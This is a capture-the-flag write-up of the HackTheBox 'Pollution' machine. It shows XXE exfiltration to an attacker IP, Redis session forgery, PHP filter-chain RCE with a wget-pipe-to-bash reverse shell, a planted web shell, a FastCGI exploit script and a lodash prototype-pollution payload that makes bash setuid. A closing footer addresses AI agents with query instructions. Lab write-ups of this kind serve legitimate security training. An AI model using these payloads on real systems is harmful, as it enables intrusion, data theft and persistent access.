# Pollution

## Gaining Access

As usual, we start with an Nmap scan:

```
$ nmap -p- --min-rate 3000 10.129.106.251    
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 22:10 EST
Nmap scan report for 10.129.106.251
Host is up (0.16s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
```

Redis and HTTP. Because Redis is there, I want to check if it is running any vulnerable version of the service, but further enumeration revealed that there was nothing to note.

```
$ sudo nmap -p 22,80,6379 -sC -sV -O -T4 10.129.106.251
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 22:12 EST
Nmap scan report for 10.129.106.251
Host is up (0.17s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 db1d5c65729bc64330a52ba0f01ad5fc (RSA)
|   256 4f7956c5bf20f9f14b9238edcefaac78 (ECDSA)
|_  256 df47554f4ad178a89dcdf8a02fc0fca9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Home
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store
```

### Port 80

Heading to the web service, it is a standard company website.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-3d54f2c0e96652abefb9ce0dd3e20d8494780335%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Howeverm clicking on some objects reveals the `[object Object]` tag, which is a string representation of a Javascript object data type. Playing around with the logins didn't reveal much to me. However, registering a test account and logging in revealed that there was an API somewhere, and that my username `test` was printed on screen.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-8378781c4d174c40fe0d3f82019d64978d82d55e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

There could be an API backend, but I wasn't able to find it using normal means. Looking at the assets, I could see that this used jQuery 2.1.0. Wasn't of much use however.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e221dc61b4917a9aa5535ec92b251a4ced77479a%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Finding Subhosts

I knew that there was some hidden servers or something within the website, as the API hint was quite obvious. Understanding that the website was named 'Collect', I used `collect.htb` as a domain and tried to fuzz vhosts.

Regular fuzzing did not do much for me, but when I fuzzed the HTTP Host header using `wfuzz`, I was able to find some results.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-35f8277357cf4f656dfb0512c1bb77aaedf10095%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can add both of these to the `/etc/hosts` file. The `developers` subdomain requires a password to enter.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-ec60b0ac7e9b3497d93cb3c4bdc9f1f3ac2ed6b0%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Forum

This was a forum page for users to write stuff, and there was some threads and a user that was active.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d8d922005f5a82a5541e38cc82d26274e949b95d%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Reading some of the posts, I saw that there was indeed a Pollution API somewhere.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d9d93ff2e0d59c49632629ec527b1269f7bfcbbe%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

I created a test user to download that file. The file contained a load of base64 encoded requests and stuff. Reading the requests, we can see that there was one to the /admin panel on the main website.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-bf92593c4ad3d6867852a69acc9b401ef3004040%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Decoding the request, we find that it gives us a token.

```http
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf
```

By replacing the PHPSESSID with our own created user, we can become an administrator by sending the same POST request to the website.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-fe6ae3a3feb072b49907a03f1931f9ff133eafe0%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

From here, we can register our own user and gain access to the API stuff.

### API

Reading the reques send to the API, we can see that this processes requests using XML.

```http
POST /api HTTP/1.1
Host: 10.129.106.251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 178
Origin: http://10.129.106.251
Connection: close
Referer: http://10.129.106.251/admin
Cookie: PHPSESSID=e50hu9lk5rkblb7tdlm3310fk4



manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>password123</password></user></root>
```

### XXE Injection for File read

We can try XXE Injection, however regular payloads do not work. We can bypass this by creating a DTD file and make the website send a GET request to process that file.

After some trial and error, I found that using the `php://filter/` method worked through base64 encoding the stuff. I was able to read some of the files.

```xml
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource='>
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://10.10.14.152/?file=%file;'>">
%eval;
%exfiltrate;
```

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-a4f68af93bec696bbdadd7e0720f46468eff1e6a%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Payload used:

```http
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.152/test.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>password123</password></user></root>
```

From here, I wanted to read the `/var/www/developers/.htpasswd` file since we found a password on it earlier.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4987f9fac20343cfc06de70feb6dc27ed59d7284%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Using `john`, we could crack the hash to give `r0cket` as the password. We were confronted with another login page.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-cd25073b1521aeb4fb0629d15c07766db6df205f%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

This time, we need to find credentials elsewhere. That `redis` instance is likely where this password is hidden. We cannot read the `/etc/redis` file without root permissions, so there likely is another file located somewhere.

I tried checking for `config.php` files but was unable to find any. I knew that we had to go 'up' one directory because the current directory contained nothing, Some googling about Redis led me to the `bootstrp.php` file, which worked. It was located at `../bootstrp.php`.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-57b201fcef21aef98b8d42826ad972ed5b58a251%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Redis

We can login via `redis-cli` wth credentials.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d9fb4f356fefb2d604e4f5465586542ee3b881c1%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Then, we can list the keys and other information within this database.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-ab14661ecdda2e9ab504518bf5a2fef6ccaaf9e7%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Seems that all of these keys are empty arrays, for some reason. I registered another user within the `collect.htb` website to see if we can do any other things.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-9048402222c455796bae82a524ba868af48afd8b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

So we have this, and we need a way to authenticate ourselves. For this, we can set our role to `admin` and also set a `auth|s:1:\"a\"` bit, because this would grant us access to the `developers` endpoint.

We can use this command to do so:

`set PHPREDIS_SESSION:e50hu9lk5rkblb7tdlm3310fk4 "username|s:10:"testing123";role|s:5:"admin";auth|s:1:"a";"`

Then, replace the cookie and login to the `developers.collect.htb` endpoint.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-129f46d0f105652ea7126bc15955f698e6469505%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### RCE

The `page` parameter in this website is rather suspicious, and we can try to fuzz for RCE / LFI weaknesses. The page itself has nothing to offer, and each time we go to a different site the `page` parameter changes. This was rather suspicious, but I was unable to gain any form of LFI to read other files.

I assumed that there was some type of backend check for this parameter. I then found this on Hacktricks, that was essentially some type of PHP Filter bypass. This confirms that RCE is possible through that parameter.

{% embed url="<https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters>" %}

This tool linked worked like a charm:

{% embed url="<https://github.com/synacktiv/php_filter_chain_generator>" %}

This had some form of length barrier that was crashing the request. As such, we can use **PHP Shorthand Code,** which is basically a short form for PHP code. This involves the usage of the `<?=` tags. Then, since we have RCE, we can host the shell on my web server instead.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4483d492f35aff288f82d7ad585b46dfcbdb0d02%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Testing this out, I used this command ``<?= `id` ?>.``

This worked out pretty well as I was able to see the output here.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-ebbc9a202602da09a655bbe2857ddde9cf168a9f%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can then replace the command with ``<?=`wget -O - 10.10.14.152/b|bash` ?>``

Now, we have a reverse shell as `www-data`.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-431624ec1052c92cf82475cbf218eadc26910535%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation to Victor

Victor was the only user on this machine, and we needed to find his credentials or something.

### MySQL Creds

Within the `~/developers/login.php` file, I found some credentials.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c2533fed6d30603ebea4043d10c4a177db24c28d%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

It appears there was a MySQL Instance on the machine running. We can login to that using `mysql -u webapp_user -p`.

Then, we can enumerate this database.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-34825a532f522b632349446e640a21f4164740cb%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can find a hash from the `developers` database.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-86dd0c2b8da876692e90d4dbd3da8606f7596320%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Couldn't crack the hash though.

### Persistence

For some persistance, I dropped a `cmd.php` shell into the `forum` website, so that I can establish RCE at any given time.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e6457a624c79b86c037d8e616cb1d6ce38596ed2%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### PHP-FPM

I ran `netstat -tulpn` to see what services were running on the machine, and found that port 9000 was listening to something.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-82b7da13e88068a5492b1171fd6c9695fda52ed7%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

I also ran LinPEAS to find some escalation vectors to victor. This user was also running the `php-fpm` master process or something.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-5696577489ed66e3a52757ded6022113df16f879%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Further enumeration reveals that port 9000 was FastCGI, and this was vulnerable to RCE. Since Victor is running it, this is our privilege escalation vector. We just need to make a script that would give us another reverse shell.

Here's the script;

```bash
#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/tmp/index.php" # Exisiting file path

HOST='127.0.0.1'
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
    OUTPUT=$(mktemp)
    env -i \
      PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
      SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
      cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

    cat $OUTPUT
done
```

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d477d3d51cf069a9c190b5c07973fe2cf9454fb0%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can replace the command to get another reverse shell as needed.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-77deffcfc1dd4b745eff0a5ed3f4e15a576ebb55%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

From here, we can drop our public key into victor's .ssh folder to SSH in easily, and also grab the user flag.

## Root Escalation

Within Victor's directory, there's a `pollution_api` folder. The `index.js` file specifies that there is this service running on port 3000.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-b1c91c5ab84576ea36a47478b7f6ed73c326c222%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Since this box was called pollution, I assumed that there was some Javascript pollution related exploit that would give us root. Within the `controllers` directory, there was this `Message_send.js` script.

```javascript
const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');

const messages_send = async(req,res)=>{
    const token = decodejwt(req.headers['x-access-token'])
    if(req.body.text){

        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };

        _.merge(message, req.body);

        exec('/home/victor/pollution_api/log.sh log_message');

        Message.create({
            text: JSON.stringify(message),
            user_sent: token.user
        });

        return res.json({Status: "Ok"});

    }

    return res.json({Status: "Error", Message: "Parameter text not found"});
}

module.exports = { messages_send };
```

So there was this `_.merge` function being used. This function was vulnerable to a Lodash Merge Pollution attack, which allows for RCE as root.

Prototype pollution basically allows us to control the default values of the object's properties, and we can tamper with the application logic. Since there is an `exec` function right after this that executes a pre-determined command, we can use this exploit to 'alter' the values passed into this.

This would allow us to change what is being executed. In this case, the root user is likely running this API, hence exploitation would allow for RCE as root.

Hacktricks has some examples of attacks that can be done using this.

{% embed url="<https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce#exec-exploitation>" %}

### Prototype Pollution

First, we would need to get a valid token to interact with the API. Earlier, we did register a user, and we just need to promote this user to an administrator.

We can do this with the MySQL instance we accessed earlier.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d0749aa4a0e3fbdaf5d1a16ab76b41e04832e7e4%2Fimage.png?alt=media" alt=""><figcaption><p>\</p></figcaption></figure>

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-3eadc4af16c76c52dc54d4c07e68a6d368237e7d%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Now we can login as this user using our credentials.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-2a984e2ce719e6d8c9122ce4c51144e200265621%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

This would give us a token, which is needed for the `X-Access-Token` header. Reading the documentation for the API through accessing `http://127.0.0.1:3000/documentation`, we can see that we need to send a POST request to `/admin/mesages/send` to interact with the vulnerable function.

```json
{
  "Documentation": {
    "Routes": {
      "/": {
        "Methods": "GET",
        "Params": null
      },
      "/auth/register": {
        "Methods": "POST",
        "Params": {
          "username": "username",
          "password": "password"
        }
      },
      "/auth/login": {
        "Methods": "POST",
        "Params": {
          "username": "username",
          "password": "password"
        }
      },
      "/client": {
        "Methods": "GET",
        "Params": null
      },
      "/admin/messages": {
        "Methods": "POST",
        "Params": {
          "id": "messageid"
        }
      },
      "/admin/messages/send": {
        "Methods": "POST",
        "Params": {
          "text": "message text"
        }
      }
    }
  }
}
```

Now, we need to construct a paylaod that would pollute the `exec` function that comes after. What we would want to do is first create a new 'shell' using `/proc/self/exe` which would spawn another thread for us to execute the command we want. The only difficulty here is fitting it into a single JSON object, but the payload is available at Hacktricks under the `execSync` exploit.

As such, we can construct this command:

{% code overflow="wrap" %}

```bash
curl http://127.0.0.1:3000/admin/messages/send -H "X-Access-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTY3MDM5MjcyMiwiZXhwIjoxNjcwMzk2MzIyfQ.Ry9ngHgkESmKPTU624I_p7rPSAKAky-B6H_Ddzk1duw" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod +s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
```

{% endcode %}

This would call a child\_process to execute `chmod +s /usr/bin/bash`.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c57cda1ca3cf41c58366498626f07d4954e26817%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We are now root, and we can capture the root flag.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/hard/pollution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
